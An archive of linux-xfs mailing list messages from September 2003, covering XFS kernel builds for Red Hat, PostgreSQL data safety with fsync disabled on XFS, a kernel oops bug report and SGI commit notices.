(c-24-118-121-167.mn.client2.attbi.com [24.118.121.167]) by lips.thebarn.com (8.12.9/8.12.9) with ESMTP id h841EYvc088958; Wed, 3 Sep 2003 20:14:34 -0500 (CDT) (envelope-from cattelan@thebarn.com) Subject: Re: Question in XFS regarding Kernel 2.4.22 From: Russell Cattelan To: Benjamin Pfitzner Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1062637956.25901.6.camel@lupo.thebarn.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.3 Date: 04 Sep 2003 01:13:50 +0000 Content-Transfer-Encoding: 7bit X-archive-position: 278 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs Content-Length: 795 Lines: 26 Ok so my list of documentation "Todos" is getting bigger and bigger. On Tue, 2002-10-29 at 09:43, Benjamin Pfitzner wrote: > Hi, > > first of all thanks for publishing the XFS Filesystem. > When will there be a patch for Kernel 2.4.22 be avaibale? What is the > diference between 2.4.22 and 2.4.22-unofficial? Nothing really, but do realize the main devel tree just got merged up to 2.4.22 so it hasn't had a lot of soak time. But so far none of the regression tests have found any problems. > > Thanks Ben Pfitzner Anyways in case nobody noticed the xfs kernel tree on xfs.org has has been updated to 2.4.22. http://xfs.org/cgi-bin/cvsweb.cgi/linux-2.4-xfs/linux/ We will try to get the filing done ASAP so that the bits can go to oss also. -- Russell Cattelan From owner-linux-xfs@oss.sgi.com Thu Sep 4 06:55:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 06:56:07 -0700 (PDT) Received: from chaos.egr.duke.edu (chaos.egr.duke.edu [152.3.195.82]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84DtmWZ029960 for ; Thu, 4 Sep 2003 06:55:49 -0700 Received: from localhost (jlb@localhost) by chaos.egr.duke.edu (8.11.6/8.11.6) with ESMTP id h84Br1Q21403 for ; Thu, 4 Sep 2003 07:53:01 -0400 X-Authentication-Warning: chaos.egr.duke.edu: jlb owned process doing -bs Date: Thu, 4 Sep 2003 07:53:00 -0400 (EDT) From: Joshua Baker-LePain X-X-Sender: jlb@chaos.egr.duke.edu To: Linux xfs mailing list Subject: Building 2.4.20-19 for RH 7.3 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 280 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jlb17@duke.edu Precedence: bulk X-list: linux-xfs Content-Length: 467 Lines: 14 How does one go about building the RH based XFS 1.3 release kernel for RH 7.3? I'm assuming that just a 'rpm --rebuild' of the RH 9 SRPM on a 7.3 system won't work. Well, it does work in that it creates RPMs that install and *seem* (in limited testing) to run without a problem. But I'd like to know the official way to do this before I put this server into production. Thanks. -- Joshua Baker-LePain Department of Biomedical Engineering Duke University From hannu@tm.ee Thu Sep 4 07:37:01 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 07:37:45 -0700 (PDT) Received: from fuji.krosing.net (silmet.estpak.ee [194.126.97.78]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84DmCWZ029529 for ; Thu, 4 Sep 2003 06:48:13 -0700 Received: from fuji.krosing.net (localhost.localdomain [127.0.0.1]) by fuji.krosing.net (8.12.8/8.12.8) with ESMTP id h846tVsC007934; Thu, 4 Sep 2003 09:55:31 +0300 Received: (from hannu@localhost) by fuji.krosing.net (8.12.8/8.12.8/Submit) id h846tRHG007932; Thu, 4 Sep 2003 09:55:27 +0300 X-Authentication-Warning: fuji.krosing.net: hannu set sender to hannu@tm.ee using -f Subject: Re: [PERFORM] PostgreSQL Reliability when fsync = false on Linux-XFS From: Hannu Krosing To: Rod Taylor Cc: Federico Sevilla III , PostgreSQL Performance Mailing List , Linux-XFS Mailing List In-Reply-To: <1062646595.84923.35.camel@jester> References: <20030904030404.GA32319@leathercollection.ph> <1062646595.84923.35.camel@jester> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1062658526.6270.5.camel@fuji.krosing.net> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Thu, 04 Sep 2003 09:55:27 +0300 X-archive-position: 281 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hannu@tm.ee Precedence: bulk X-list: linux-xfs Content-Length: 419 Lines: 13 Rod Taylor kirjutas N, 04.09.2003 kell 06:36: > Another alternative is > to buy a small 15krpm disk dedicated for WAL. In theory you can achieve > one commit per rotation. One commit per rotation would still be only 15000/60. = 250 tps, but fortunately you can get better results if you use multiple concurrent backends, then in the best case you can get one commit per backend per rotation. ----------------- Hannu From owner-linux-xfs@oss.sgi.com Thu Sep 4 13:32:51 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 13:33:35 -0700 (PDT) Received: from gusi.leathercollection.ph (gusi.leathercollection.ph [202.163.192.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KWdWZ014494 for ; Thu, 4 Sep 2003 13:32:40 -0700 Received: from localhost (localhost [127.0.0.1]) by gusi.leathercollection.ph (Postfix) with ESMTP id 21F0AEB4A0A; Thu, 4 Sep 2003 11:04:16 +0800 (PHT) Received: from lawin.alabang.leathercollection.ph (lawin.alabang.leathercollection.ph [192.168.0.2]) by gusi.leathercollection.ph (Postfix) with ESMTP id 224B5EB4A05; Thu, 4 Sep 2003 11:04:06 +0800 (PHT) Received: by lawin.alabang.leathercollection.ph (Postfix, from userid 1000) id 289751A4019; Thu, 4 Sep 2003 11:04:04 +0800 (PHT) Date: Thu, 4 Sep 2003 11:04:04 +0800 From: Federico Sevilla III To: PostgreSQL Performance Mailing List Cc: Linux-XFS Mailing List Subject: PostgreSQL Reliability when fsync = false on Linux-XFS Message-ID: <20030904030404.GA32319@leathercollection.ph> Mail-Followup-To: PostgreSQL Performance Mailing List , Linux-XFS Mailing List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Organization: The Leather Collection, Inc. X-Organization-URL: http://www.leathercollection.ph X-Personal-URL: http://jijo.free.net.ph User-Agent: Mutt/1.5.4i X-archive-position: 283 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jijo@free.net.ph Precedence: bulk X-list: linux-xfs Content-Length: 2961 Lines: 68 (Please follow Mail-Followup-To, I'm not on the pgsql-performance mailing list but am on the Linux-XFS mailing list. My apologies too for the cross-post. I'm cc'ing the Linux-XFS mailing list in case people there will be interested in this, too.) Hi, We have a server running PostgreSQL v7.3.3 on Debian GNU/Linux with Linux kernel 2.4.21-xfs. The PostgreSQL data is stored on an XFS[1] partition mounted with the options "rw,noatime,logbufs=8". The machine is an Intel Pentium III 733MHz with 512MB RAM and a four-disk hardware IDE RAID-5 array with a 3ware controller. Among other databases, we have a centralized Snort[2] database that is analyzed by ACIDLab[3]. I noticed performance problems during SELECT and INSERT operations when the tables reach around 200,000 records. Because of timeout issues, the PHP-based ACIDLab can't be used properly. I read the performance section of the ACID FAQ[4] as well as the PostgreSQL "Managing Kernel Resources" document , and so far have tuned my system by setting /proc/sys/kernel/{shmall,shmmax} to 134217728. I also turned off fsync in /etc/postgresql/postgresql.conf. The latter did a LOT to improve INSERT performance, which is now CPU-bound instead of I/O-bound. However, as expected, I am concerned about the reliability penalty this will cause. Our server has been up and running without problems for 67 days since the last reboot, but this doesn't mean it will never hiccup either because of some random problem or because of an extended power outage. Would anyone have "authoritative" information with respect to: - the way PostgreSQL expects data to be written to disk without the fsync calls for things not to get corrupted in the event of a crash, and - the way XFS writes data to disk without the fsync calls that PostgreSQL normally does and how this will affect PostgreSQL data integrity in the event of a system crash? I know that at the end of the day, if I value my data, I must (1) back it up regularly, and (2) keep fsync enabled in PostgreSQL. However given the significance performance hit (at least as far as massive INSERT or UPDATE operations are concerned) and the journalling component of XFS, it would be great to find out just how bad the odds are if the system goes down unexpectedly. Thank you very much for your time. :) --> Jijo Note- I should also have selected RAID10 instead of RAID5, but that's a change I can't afford to do at this point so I have to explore other options. [1] http://oss.sgi.com/projects/xfs/ [2] http://www.snort.org [3] http://acidlab.sourceforge.net [4] http://www.andrew.cmu.edu/~rdanyliw/snort/acid_faq.html#faq_c9 [5] http://developer.postgresql.org/docs/postgres/kernel-resources.html -- Federico Sevilla III : http://jijo.free.net.ph : When we speak of free Network Administrator : The Leather Collection, Inc. : software we refer to GnuPG Key ID : 0x93B746BE : freedom, not price. From owner-linux-xfs@oss.sgi.com Thu Sep 4 13:55:52 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 13:57:56 -0700 (PDT) Received: from chaos.egr.duke.edu (chaos.egr.duke.edu [152.3.195.82]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KtnWZ021519 for ; Thu, 4 Sep 2003 13:55:50 -0700 Received: from localhost (jlb@localhost) by chaos.egr.duke.edu (8.11.6/8.11.6) with ESMTP id h84EorE21588; Thu, 4 Sep 2003 10:50:54 -0400 X-Authentication-Warning: chaos.egr.duke.edu: jlb owned process doing -bs Date: Thu, 4 Sep 2003 10:50:53 -0400 (EDT) From: Joshua Baker-LePain X-X-Sender: jlb@chaos.egr.duke.edu To: Eric Sandeen cc: Linux xfs mailing list Subject: Re: Building 2.4.20-19 for RH 7.3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 284 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jlb17@duke.edu Precedence: bulk X-list: linux-xfs Content-Length: 270 Lines: 12 On Thu, 4 Sep 2003 at 9:12am, Eric Sandeen wrote > Start with the rh9 SRPM, and edit the spec file like this, to change > the version # and to turn off the nptl patches: Perfect -- thanks! -- Joshua Baker-LePain Department of Biomedical Engineering Duke University From owner-linux-xfs@oss.sgi.com Thu Sep 4 14:15:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 14:16:20 -0700 (PDT) Received: from mailav.tor1.inquent.com (mail.inquent.com [216.208.117.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LFYWZ025365 for ; Thu, 4 Sep 2003 14:15:34 -0700 Received: from localhost (localhost [127.0.0.1]) by mailav.tor1.inquent.com (Postfix) with ESMTP id B1D2E1025B; Wed, 3 Sep 2003 23:28:07 -0400 (EDT) Received: from [192.168.1.200] (dyn-133-83.tor.dsl.tht.net [134.22.133.83]) by mailav.tor1.inquent.com (Postfix) with ESMTP id 7F8D510248; Wed, 3 Sep 2003 23:28:05 -0400 (EDT) Subject: Re: PostgreSQL Reliability when fsync = false on Linux-XFS From: Rod Taylor To: Federico Sevilla III Cc: PostgreSQL Performance Mailing List , Linux-XFS Mailing List In-Reply-To: <20030904030404.GA32319@leathercollection.ph> References: <20030904030404.GA32319@leathercollection.ph> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ZUA7x1WEMI42NEQ8G5Oh" Message-Id: <1062646595.84923.35.camel@jester> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Wed, 03 Sep 2003 23:36:36 -0400 X-Virus-Scanned: by AMaViS perl-11 X-archive-position: 285 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rbt@rbt.ca Precedence: bulk X-list: linux-xfs Content-Length: 1943 Lines: 48 --=-ZUA7x1WEMI42NEQ8G5Oh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable > - the way PostgreSQL expects data to be written to disk without the > fsync calls for things not to get corrupted in the event of a crash, > and If you want the filesystem to deal with this, I believe it is necessary for it to write the data out in the same order the write requests are supplied in between ALL PostgreSQL processes. If you can accomplish this, you do not need WAL. There are shortcuts which can be taken in the above, which is where WAL comes in. WAL writes are ordered between processes and WAL of a single process always hits disk prior to commit -- fsync forces both of these. Due to WAL being in place, data can be written at almost any time. The benefit to WAL is a single file fsync rather than the entire database requiring one (PostgreSQL pre-7.1 method). > I know that at the end of the day, if I value my data, I must (1) back > it up regularly, and (2) keep fsync enabled in PostgreSQL. However given > the significance performance hit (at least as far as massive INSERT or If you want good performance, invest in a SCSI controller that has battery backed write cache. A few megs will do it. You will find performance similar to fsync being off (you don't wait for disk rotation) but without the whole dataloss issue. Another alternative is to buy a small 15krpm disk dedicated for WAL. In theory you can achieve one commit per rotation. I assume your inserts are not supplied in Bulk. The fsync overhead is per transaction, not per insert. --=-ZUA7x1WEMI42NEQ8G5Oh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQA/VrNC6DETLow6vwwRAsKhAJ9cqzW44fD1U+hrIQ4/fLZKhP/onQCfXpp6 c1wPATybuPvCvYC+zsgJiZc= =fphL -----END PGP SIGNATURE----- --=-ZUA7x1WEMI42NEQ8G5Oh-- From owner-linux-xfs@oss.sgi.com Thu Sep 4 15:02:12 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 15:02:18 -0700 (PDT) Received: from zok.sgi.com (zok.sgi.com [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84M2BWZ030419 for ; Thu, 4 Sep 2003 15:02:12 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h84EDMq0015385 for ; Thu, 4 Sep 2003 07:13:22 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h84ECLcc11483737; Thu, 4 Sep 2003 09:12:21 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h84ECMgV528892; Thu, 4 Sep 2003 09:12:22 -0500 (CDT) Date: Thu, 4 Sep 2003 09:12:21 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Joshua Baker-LePain cc: Linux xfs mailing list Subject: Re: Building 2.4.20-19 for RH 7.3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 286 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1386 Lines: 45 Start with the rh9 SRPM, and edit the spec file like this, to change the version # and to turn off the nptl patches: --- kernel-2.4.spec 2003-08-26 16:06:16.000000000 -0500 +++ kernel-2.4.spec.7 2003-09-04 09:11:17.000000000 -0500 @@ -21,7 +21,7 @@ # that the kernel isn't the stock RHL kernel, for example by # adding some text to the end of the version number. # -%define release 19.9.XFS +%define release 19.7.XFS %define sublevel 20 %define kversion 2.4.%{sublevel} # /usr/src/%{kslnk} -> /usr/src/linux-%{KVERREL} @@ -31,8 +31,8 @@ %define all_x86 i386 i686 i586 athlon #define all_x86 i686 i386 i586 athlon -%define nptlarchs %{all_x86} -#define nptlarchs noarch +#%define nptlarchs %{all_x86} +define nptlarchs noarch # disable build root strip policy %define __spec_install_post /usr/lib/rpm/brp-compress || : On Thu, 4 Sep 2003, Joshua Baker-LePain wrote: > How does one go about building the RH based XFS 1.3 release kernel for RH > 7.3? I'm assuming that just a 'rpm --rebuild' of the RH 9 SRPM on a 7.3 > system won't work. Well, it does work in that it creates RPMs that > install and *seem* (in limited testing) to run without a problem. But > I'd like to know the official way to do this before I put this server into > production. > > Thanks. > > -- > Joshua Baker-LePain > Department of Biomedical Engineering > Duke University > > From owner-linux-xfs@oss.sgi.com Thu Sep 4 15:38:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 15:38:56 -0700 (PDT) Received: from mail1.ihs.com (mail1.ihs.com [170.207.70.222]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84McCWZ001005 for ; Thu, 4 Sep 2003 15:38:15 -0700 Received: from css120.ihs.com (css120.ihs.com [170.207.105.120]) by mail1.ihs.com (8.12.9/8.12.9) with ESMTP id h84Mb6p5012758; Thu, 4 Sep 2003 16:37:06 -0600 (MDT) Date: Thu, 4 Sep 2003 16:35:08 -0600 (MDT) From: "scott.marlowe" To: Federico Sevilla III cc: PostgreSQL Performance Mailing List , Linux-XFS Mailing List Subject: Re: [PERFORM] PostgreSQL Reliability when fsync = false on Linux-XFS In-Reply-To: <20030904030404.GA32319@leathercollection.ph> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-IHS-MailScanner: Found to be clean X-IHS-MailScanner-SpamCheck: X-archive-position: 287 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: scott.marlowe@ihs.com Precedence: bulk X-list: linux-xfs Content-Length: 748 Lines: 22 On Thu, 4 Sep 2003, Federico Sevilla III wrote: > (Please follow Mail-Followup-To, I'm not on the pgsql-performance > mailing list but am on the Linux-XFS mailing list. My apologies too for > the cross-post. I'm cc'ing the Linux-XFS mailing list in case people > there will be interested in this, too.) > > > Hi, > > We have a server running PostgreSQL v7.3.3 on Debian GNU/Linux with > Linux kernel 2.4.21-xfs. The PostgreSQL data is stored on an XFS[1] Two points. 1: 7.3.3 has a data loss issue fixed in 7.3.4. You should upgrade to avoid the pain associated with this problem. 2: When you turn off fsync, all bets are off. If the data doesn't get written in the right order, your database may be corrupted if power is shut off. From owner-linux-xfs@oss.sgi.com Thu Sep 4 16:20:34 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 16:21:13 -0700 (PDT) Received: from uwast.astro.wisc.edu (uwast.astro.wisc.edu [144.92.179.130]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84NKXWZ005846 for ; Thu, 4 Sep 2003 16:20:34 -0700 Received: from astro.wisc.edu (mdsnwi11-vlan423-228.wi.tds.net [66.222.60.228]) (authenticated bits=0) by uwast.astro.wisc.edu (8.12.8/8.12.8) with ESMTP id h84NKR8n026780 for ; Thu, 4 Sep 2003 18:20:28 -0500 Date: Thu, 4 Sep 2003 18:21:05 -0500 Subject: Re: Building 2.4.20-19 for RH 7.3 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Stephan L Jansen To: linux-xfs@oss.sgi.com Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <753527EA-DF2E-11D7-BFCA-003065F970BA@astro.wisc.edu> X-Mailer: Apple Mail (2.552) X-archive-position: 288 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jansen@astro.wisc.edu Precedence: bulk X-list: linux-xfs Content-Length: 1615 Lines: 61 Hi, Should nptl patches be turned off for RedHat 8.0 as well? On Thursday, Sep 4, 2003, at 09:12 US/Central, Eric Sandeen wrote: > Start with the rh9 SRPM, and edit the spec file like this, to change > the version # and to turn off the nptl patches: > > --- kernel-2.4.spec 2003-08-26 16:06:16.000000000 -0500 > +++ kernel-2.4.spec.7 2003-09-04 09:11:17.000000000 -0500 > @@ -21,7 +21,7 @@ > # that the kernel isn't the stock RHL kernel, for example by > # adding some text to the end of the version number. > # > -%define release 19.9.XFS > +%define release 19.7.XFS > %define sublevel 20 > %define kversion 2.4.%{sublevel} > # /usr/src/%{kslnk} -> /usr/src/linux-%{KVERREL} > @@ -31,8 +31,8 @@ > %define all_x86 i386 i686 i586 athlon > #define all_x86 i686 i386 i586 athlon > > -%define nptlarchs %{all_x86} > -#define nptlarchs noarch > +#%define nptlarchs %{all_x86} > +define nptlarchs noarch > > # disable build root strip policy > %define __spec_install_post /usr/lib/rpm/brp-compress || : > > > On Thu, 4 Sep 2003, Joshua Baker-LePain wrote: > >> How does one go about building the RH based XFS 1.3 release kernel >> for RH >> 7.3? I'm assuming that just a 'rpm --rebuild' of the RH 9 SRPM on a >> 7.3 >> system won't work. Well, it does work in that it creates RPMs that >> install and *seem* (in limited testing) to run without a problem. >> But >> I'd like to know the official way to do this before I put this server >> into >> production. >> >> Thanks. >> >> -- >> Joshua Baker-LePain >> Department of Biomedical Engineering >> Duke University >> >> > > ------- Stephan From owner-linux-xfs@oss.sgi.com Thu Sep 4 16:37:11 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 16:37:35 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h84NbBWZ007358 for ; Thu, 4 Sep 2003 16:37:11 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h84NbBBK007357 for linux-xfs@oss.sgi.com; Thu, 4 Sep 2003 16:37:11 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h84Nb7Wb007342 for ; Thu, 4 Sep 2003 16:37:07 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h84NQ6gi006541; Thu, 4 Sep 2003 16:26:06 -0700 Date: Thu, 4 Sep 2003 16:26:06 -0700 Message-Id: <200309042326.h84NQ6gi006541@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 273] XFS causes kernel OOPS on unclean reboot. X-Bugzilla-Reason: AssignedTo X-archive-position: 289 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 3687 Lines: 93 http://oss.sgi.com/bugzilla/show_bug.cgi?id=273 ------- Additional Comments From brian@meifert.org 2003-04-09 16:26 PDT ------- Sorry it took me so long to respond... I have not had much luck getting kdb running in our environment, but I did find that an incorrect copy of System.map was getting installed and hence the garbage back trace. I have reproduced the problem and run the kernel oops through ksymoops and it produced a much saner looking stack trace. <1>Unable to handle kernel NULL pointer dereference at virtual address 00000030 printing eip: c02025c5 *pde = 00000000 Oops: 0000 CPU: 1 EIP: 0010:[] Tainted: P EFLAGS: 00010206 eax: f5c2cc00 ebx: 00000000 ecx: f5c2cc00 edx: 00000004 esi: f59fa580 edi: 0009a030 ebp: 00000000 esp: f5cd5b5c ds: 0018 es: 0018 ss: 0018 Process mount (pid: 553, stackpage=f5cd5000) Stack: 00000000 c01f0e29 c02ea8d4 f5c2cc00 00000000 0009a030 00000000 00000000 f59fa540 f6131980 00000002 00000000 f5c2cc00 c01f1912 f6131980 f59fa540 00000002 f5d26b80 0000000a f5e03168 f5aa3cf0 f59fa400 c01f1a37 f6131980 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 43 30 50 b8 0c 00 00 00 85 db 74 04 0f b7 43 78 50 8b 44 >>EIP; c02025c5 <===== >>eax; f5c2cc00 <_end+3583e2b0/3846a710> >>ecx; f5c2cc00 <_end+3583e2b0/3846a710> >>esi; f59fa580 <_end+3560bc30/3846a710> >>edi; 0009a030 Before first symbol >>esp; f5cd5b5c <_end+358e720c/3846a710> Trace; c01f0e29 Trace; c01f1912 Trace; c01f1a37 Trace; c01f1b7f Trace; c01f26db Trace; c01f2c64 Trace; c01f2cad Trace; c01f2e31 Trace; c01ec201 Trace; c01f45f6 Trace; c01f38b6 Trace; c01f3901 Trace; c01fb6b3 Trace; c01fb79b Trace; c020dd39 Trace; c013d975 Trace; c014e406 Trace; c013db5d Trace; c014f4b9 Trace; c014f782 Trace; c014f5dd Trace; c014fbaf Trace; c0108a2b Code; c02025c5 00000000 <_EIP>: Code; c02025c5 <===== 0: 8b 43 30 mov 0x30(%ebx),%eax <===== Code; c02025c8 3: 50 push %eax Code; c02025c9 4: b8 0c 00 00 00 mov $0xc,%eax Code; c02025ce 9: 85 db test %ebx,%ebx Code; c02025d0 b: 74 04 je 11 <_EIP+0x11> c02025d6 Code; c02025d2 d: 0f b7 43 78 movzwl 0x78(%ebx),%eax Code; c02025d6 11: 50 push %eax Code; c02025d7 12: 8b 44 00 00 mov 0x0(%eax,%eax,1),%eax ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Thu Sep 4 18:09:03 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 18:09:52 -0700 (PDT) Received: from zok.sgi.com (zok.sgi.com [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85192WZ014471 for ; Thu, 4 Sep 2003 18:09:02 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h846GXq0004481 for ; Wed, 3 Sep 2003 23:16:33 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h846FXcc11510454 for ; Thu, 4 Sep 2003 01:15:33 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h846FXRn228644568 for ; Thu, 4 Sep 2003 01:15:33 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id B135D186C711; Thu, 4 Sep 2003 01:15:32 -0500 (CDT) Subject: TAKE - Fix some inconsistent alloc flags Message-Id: <20030904061532.B135D186C711@naboo.americas.sgi.com> Date: Thu, 4 Sep 2003 01:15:32 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 290 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 462 Lines: 15 IRIX sets KM_SLEEP to 0 but the support routines sets KM_SLEEP to 1. So somebodys shortcut on irix is incorrect on linux and results in the sleep behaviour not being set. Date: Wed Sep 3 23:14:21 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.4-xfs-clean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:157773a linux/fs/xfs/xfs_log.c - 1.282 linux/fs/xfs/xfs_log_recover.c - 1.277 From owner-linux-xfs@oss.sgi.com Thu Sep 4 18:08:56 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 18:09:52 -0700 (PDT) Received: from zok.sgi.com (zok.sgi.com [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8518qWZ014437 for ; Thu, 4 Sep 2003 18:08:52 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h846LDq0004822 for ; Wed, 3 Sep 2003 23:21:13 -0700 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h846KDcc11130166 for ; Thu, 4 Sep 2003 01:20:13 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h846KDRn264394861 for ; Thu, 4 Sep 2003 01:20:13 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id E3F63186C711; Thu, 4 Sep 2003 01:20:12 -0500 (CDT) Subject: TAKE - merge flags to 2.5 Message-Id: <20030904062012.E3F63186C711@naboo.americas.sgi.com> Date: Thu, 4 Sep 2003 01:20:12 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 290 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 583 Lines: 20 IRIX sets KM_SLEEP to 0 but the support routines sets KM_SLEEP to 1. So somebodys shortcut on irix is incorrect on linux and results in the sleep behaviour not being set. Date: Wed Sep 3 23:19:35 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.5-xfs Author: cattelan Merged by: cattelan Merged mods: xfs-linux:slinx:157773a The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:157773a linux/fs/xfs/xfs_log.c - 1.280 linux/fs/xfs/xfs_log_recover.c - 1.272 - Merge of xfs-linux:slinx:157773a by cattelan. From owner-linux-xfs@oss.sgi.com 